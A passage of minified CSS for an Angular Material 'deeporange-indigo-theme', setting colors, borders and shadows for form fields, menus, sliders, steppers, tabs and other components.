.mat-divider{border-top-color:#0000001f}.deeporange-indigo-theme .mat-divider-vertical{border-right-color:#0000001f}.deeporange-indigo-theme .mat-expansion-panel{background:white;color:#000000de}.deeporange-indigo-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeporange-indigo-theme .mat-action-row{border-top-color:#0000001f}.deeporange-indigo-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.deeporange-indigo-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.deeporange-indigo-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.deeporange-indigo-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.deeporange-indigo-theme .mat-expansion-panel-header-title{color:#000000de}.deeporange-indigo-theme .mat-expansion-panel-header-description,.deeporange-indigo-theme .mat-expansion-indicator:after{color:#0000008a}.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.deeporange-indigo-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.deeporange-indigo-theme .mat-form-field-label,.deeporange-indigo-theme .mat-hint{color:#0009}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label{color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-focused .mat-form-field-required-marker{color:#1a237e}.deeporange-indigo-theme .mat-form-field-ripple{background-color:#000000de}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#e64a19}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#1a237e}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.deeporange-indigo-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.deeporange-indigo-theme .mat-error{color:#f44336}.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-form-field-label,.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.deeporange-indigo-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeporange-indigo-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeporange-indigo-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.deeporange-indigo-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeporange-indigo-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.deeporange-indigo-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.deeporange-indigo-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#e64a19}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#1a237e}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeporange-indigo-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.deeporange-indigo-theme .mat-icon.mat-primary{color:#e64a19}.deeporange-indigo-theme .mat-icon.mat-accent{color:#1a237e}.deeporange-indigo-theme .mat-icon.mat-warn{color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.deeporange-indigo-theme .mat-input-element:disabled,.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.deeporange-indigo-theme .mat-input-element{caret-color:#e64a19}.deeporange-indigo-theme .mat-input-element::placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element::-moz-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-warn .mat-input-element,.deeporange-indigo-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.deeporange-indigo-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.deeporange-indigo-theme .mat-list-base .mat-list-item,.deeporange-indigo-theme .mat-list-base .mat-list-option{color:#000000de}.deeporange-indigo-theme .mat-list-base .mat-subheader{color:#0000008a}.deeporange-indigo-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.deeporange-indigo-theme .mat-list-option:hover,.deeporange-indigo-theme .mat-list-option:focus,.deeporange-indigo-theme .mat-nav-list .mat-list-item:hover,.deeporange-indigo-theme .mat-nav-list .mat-list-item:focus,.deeporange-indigo-theme .mat-action-list .mat-list-item:hover,.deeporange-indigo-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-list-single-selected-option,.deeporange-indigo-theme .mat-list-single-selected-option:hover,.deeporange-indigo-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-menu-panel{background:white}.deeporange-indigo-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-menu-item{background:transparent;color:#000000de}.deeporange-indigo-theme .mat-menu-item[disabled],.deeporange-indigo-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.deeporange-indigo-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.deeporange-indigo-theme .mat-menu-item .mat-icon-no-color,.deeporange-indigo-theme .mat-menu-submenu-icon{color:#0000008a}.deeporange-indigo-theme .mat-menu-item:hover:not([disabled]),.deeporange-indigo-theme .mat-menu-item.cdk-program-focused:not([disabled]),.deeporange-indigo-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.deeporange-indigo-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.deeporange-indigo-theme .mat-paginator{background:white}.deeporange-indigo-theme .mat-paginator,.deeporange-indigo-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.deeporange-indigo-theme .mat-paginator-decrement,.deeporange-indigo-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.deeporange-indigo-theme .mat-paginator-first,.deeporange-indigo-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-decrement,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-increment,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-first,.deeporange-indigo-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.deeporange-indigo-theme .mat-progress-bar-background{fill:#f5cec2}.deeporange-indigo-theme .mat-progress-bar-buffer{background-color:#f5cec2}.deeporange-indigo-theme .mat-progress-bar-fill:after{background-color:#e64a19}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#c2c4db}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#c2c4db}.deeporange-indigo-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#1a237e}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.deeporange-indigo-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.deeporange-indigo-theme .mat-progress-spinner circle,.deeporange-indigo-theme .mat-spinner circle{stroke:#e64a19}.deeporange-indigo-theme .mat-progress-spinner.mat-accent circle,.deeporange-indigo-theme .mat-spinner.mat-accent circle{stroke:#1a237e}.deeporange-indigo-theme .mat-progress-spinner.mat-warn circle,.deeporange-indigo-theme .mat-spinner.mat-warn circle{stroke:#f44336}.deeporange-indigo-theme .mat-radio-outer-circle{border-color:#0000008a}.deeporange-indigo-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#e64a19}.deeporange-indigo-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#e64a19}.deeporange-indigo-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#1a237e}.deeporange-indigo-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#1a237e}.deeporange-indigo-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.deeporange-indigo-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.deeporange-indigo-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeporange-indigo-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.deeporange-indigo-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.deeporange-indigo-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.deeporange-indigo-theme .mat-radio-button .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-select-value{color:#000000de}.deeporange-indigo-theme .mat-select-placeholder{color:#0000006b}.deeporange-indigo-theme .mat-select-disabled .mat-select-value{color:#00000061}.deeporange-indigo-theme .mat-select-arrow{color:#0000008a}.deeporange-indigo-theme .mat-select-panel{background:white}.deeporange-indigo-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeporange-indigo-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#e64a19}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#1a237e}.deeporange-indigo-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.deeporange-indigo-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.deeporange-indigo-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.deeporange-indigo-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.deeporange-indigo-theme .mat-drawer{background-color:#fff;color:#000000de}.deeporange-indigo-theme .mat-drawer.mat-drawer-push{background-color:#fff}.deeporange-indigo-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeporange-indigo-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-drawer-side.mat-drawer-end,.deeporange-indigo-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.deeporange-indigo-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#1a237e}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#1a237e8a}.deeporange-indigo-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#1a237e}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#e64a19}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#e64a198a}.deeporange-indigo-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#e64a19}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.deeporange-indigo-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.deeporange-indigo-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.deeporange-indigo-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.deeporange-indigo-theme .mat-slide-toggle-bar{background-color:#00000061}.deeporange-indigo-theme .mat-slider-track-background{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#e64a19}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#e64a1933}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#1a237e}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#1a237e33}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.deeporange-indigo-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.deeporange-indigo-theme .mat-slider:hover .mat-slider-track-background,.deeporange-indigo-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.deeporange-indigo-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.deeporange-indigo-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.deeporange-indigo-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.deeporange-indigo-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeporange-indigo-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeporange-indigo-theme .mat-step-header.cdk-keyboard-focused,.deeporange-indigo-theme .mat-step-header.cdk-program-focused,.deeporange-indigo-theme .mat-step-header:hover:not([aria-disabled]),.deeporange-indigo-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.deeporange-indigo-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.deeporange-indigo-theme .mat-step-header:hover{background:none}}.deeporange-indigo-theme .mat-step-header .mat-step-label,.deeporange-indigo-theme .mat-step-header .mat-step-optional{color:#0000008a}.deeporange-indigo-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.deeporange-indigo-theme .mat-step-header .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-edit{background-color:#e64a19;color:#fff}.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#1a237e;color:#fff}.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-selected,.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.deeporange-indigo-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.deeporange-indigo-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.deeporange-indigo-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.deeporange-indigo-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.deeporange-indigo-theme .mat-stepper-horizontal,.deeporange-indigo-theme .mat-stepper-vertical{background-color:#fff}.deeporange-indigo-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.deeporange-indigo-theme .mat-horizontal-stepper-header:before,.deeporange-indigo-theme .mat-horizontal-stepper-header:after,.deeporange-indigo-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.deeporange-indigo-theme .mat-sort-header-arrow{color:#757575}.deeporange-indigo-theme .mat-tab-nav-bar,.deeporange-indigo-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.deeporange-indigo-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.deeporange-indigo-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.deeporange-indigo-theme .mat-tab-label,.deeporange-indigo-theme .mat-tab-link{color:#000000de}.deeporange-indigo-theme .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.deeporange-indigo-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.deeporange-indigo-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.deeporange-indigo-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff57224d}.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#e64a19}.deeporange-indigo-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#7986cb4d}.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#1a237e}.deeporange-indigo-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.deeporange-indigo-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff57224d}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#e64a19}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme 